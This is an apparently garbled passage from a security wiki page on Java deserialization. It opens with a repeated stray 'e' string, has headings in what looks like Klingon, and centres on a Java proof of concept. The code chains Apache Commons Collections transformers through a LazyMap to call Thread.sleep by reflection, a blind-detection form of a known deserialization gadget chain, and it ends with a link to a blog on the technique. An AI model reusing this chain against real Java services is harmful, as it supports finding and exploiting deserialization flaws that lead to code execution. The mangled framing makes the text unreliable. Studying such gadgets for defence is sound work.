**'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}
```
## nIvbogh Gadgets

nIvbogh gadgets vItlhutlh: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)

##

<details>

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</details>